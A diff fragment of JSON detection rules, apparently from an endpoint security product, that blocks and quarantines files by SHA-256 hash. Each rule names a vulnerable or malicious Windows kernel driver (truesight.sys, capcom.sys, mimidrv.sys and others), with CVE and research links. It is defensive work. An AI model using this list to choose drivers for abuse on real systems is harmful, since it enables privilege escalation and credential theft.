+  "value": "8f4198e14658e61eb7d1fbfa145b931e3fa03fc6b14163334eb4f7b778878e94",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5ac64eb-5984-5256-b980-4537596fce6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474302Z",
+  "creation_date": "2026-03-23T11:45:30.474305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474314Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d29b1c2fff1a67d911229f36570e3d9b1cab0397d2cbc858b665403f1add3a3",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5b92a6e-367d-55d7-83b2-7458c68749ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490592Z",
+  "creation_date": "2026-03-23T11:45:31.490594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490599Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63ed062dec8512b5aba5d56efa1dc143eefcce2fbcf01216f81a4391f68cbfaa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5cf39cc-5fb6-5de5-8a4b-8b753ff26166",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817391Z",
+  "creation_date": "2026-03-23T11:45:31.817393Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817399Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05192e72245e1e5c83e5ae4a16d99322dc108ffc0efa646d01aac9ba372e1c66",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5d0f6c2-5215-531f-93f9-8ad988c3cf4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829536Z",
+  "creation_date": "2026-03-23T11:45:30.829538Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829544Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e998bb646c9bb81595fd6a221962afd563f3be775ede6fe436be1a51de2f5bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5da464e-1382-5a3e-8b64-3df9fa52e0b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820930Z",
+  "creation_date": "2026-03-23T11:45:31.820933Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820942Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ce761d6203906d8a79f26c08f04228088c3668b015fd8da5083f60a0266cd28",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5dace71-146f-5f80-9f12-43281bcfdfcd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456508Z",
+  "creation_date": "2026-03-23T11:45:30.456512Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456521Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6ae324b84a4632cf690dd565954d64b205104fc3fa42181612c3f5b830579c6",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5e163df-6d31-577e-a3ac-14cd99442c61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978230Z",
+  "creation_date": "2026-03-23T11:45:29.978232Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978238Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be03e9541f56ac6ed1e81407dcd7cc85c0ffc538c3c2c2c8a9c747edbcf13100",
+  "comment": "Vulnerable Kernel Driver (aka t7.sys) [https://www.loldrivers.io/drivers/7196366e-04f0-4aaf-9184-ed0a0d21a75f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5f0275a-6857-543f-a784-42f11c8cf995",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617306Z",
+  "creation_date": "2026-03-23T11:45:29.617308Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617313Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11a9787831ac4f0657aeb5e7019c23acc39d8833faf28f85bd10d7590ea4cc5f",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5f81cb0-2159-57cd-a250-90417a5af573",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479793Z",
+  "creation_date": "2026-03-23T11:45:30.479795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54488a8c7da53222f25b6ed74b0dedc55d00f5fa80f4eaf6daac28f7c3528876",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f5fb0534-bc4a-5b50-a5fa-e64e112205b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481568Z",
+  "creation_date": "2026-03-23T11:45:30.481570Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3670ccd9515d529bb31751fcd613066348057741adeaf0bffd1b9a54eb8baa76",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f61acce1-deae-5ee1-a46d-088e0778ae3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826354Z",
+  "creation_date": "2026-03-23T11:45:30.826356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aaa308b8f8d30f3b0ed1cfcd50206c96f39a221f011d28825c040a685afa1de3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6230874-44fe-5505-bacd-c34c4c0638f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613546Z",
+  "creation_date": "2026-03-23T11:45:29.613548Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613553Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6a2ac52a35d470dc336bae5c48a2ebf2d80519bfd57b703da6ce00ddd12163a",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6275e98-2d79-54d6-88d9-c83f42b79d0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985233Z",
+  "creation_date": "2026-03-23T11:45:29.985235Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985241Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28e09bec08688b00af1e247fa58ee4e55f2b73a06709fe37df7120a2ebee9a9f",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f635bd39-1900-58c2-b36d-35a480ee3bf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483212Z",
+  "creation_date": "2026-03-23T11:45:31.483216Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e27a032f1e93ec648cd90136dc3a218bfae19fb5750f17c7a64f95680be44ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f65028c4-dea3-590d-be78-3c16ef764c6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810047Z",
+  "creation_date": "2026-03-23T11:45:31.810049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810057Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eadb4af39567771fec339b58c3c5d1f4aa652443cb3f1915314fafdb6d80de30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f650d985-4e93-54c2-9fd1-21b9aa5e9723",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616204Z",
+  "creation_date": "2026-03-23T11:45:29.616206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bddf1750dc00725c1384b34740e798b4f5f70218ab71ac62a5a96773b377df5a",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f656fa1f-65e0-5d26-9892-dd0a78b62b98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476900Z",
+  "creation_date": "2026-03-23T11:45:31.476904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bb6c306e7f1d806ddf24e07507e4ecb3594f94010da3fc11fa438ffc51b5620",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f659437c-a3ae-5d80-ad9c-4f96f6f7ef12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468346Z",
+  "creation_date": "2026-03-23T11:45:30.468349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9cba07502b8a10034ddf75b35f4d6f2a24862cde5bff300720f5df04d4cfe6b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f65f32bc-46a9-5624-a812-97985cc42806",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610280Z",
+  "creation_date": "2026-03-23T11:45:29.610282Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ee59eb28688e73d10838c66e0d8e011c8df45b6b43a4ac5d0b75795ca3eb512",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f66e9787-2669-5c7b-9a98-15ec7ac77b03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829465Z",
+  "creation_date": "2026-03-23T11:45:30.829467Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad5684e36e6fabe7abdd6dba1a09f8e2dce00634c6e7c8adb71b49bed95ae354",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f6731b03-4a6f-544b-8b97-d740e0bb841f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156362Z",
+  "creation_date": "2026-03-23T11:45:31.156364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03dc780cb03df809eb88ba478dd65a48ecbc887963fca4c7bb7325d7677d0bfe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f68ec9d1-ef90-5d1e-9e35-b0baa19049a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454095Z",
+  "creation_date": "2026-03-23T11:45:30.454099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1284a1462a5270833ec7719f768cdb381e7d0a9c475041f9f3c74fa8eea83590",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
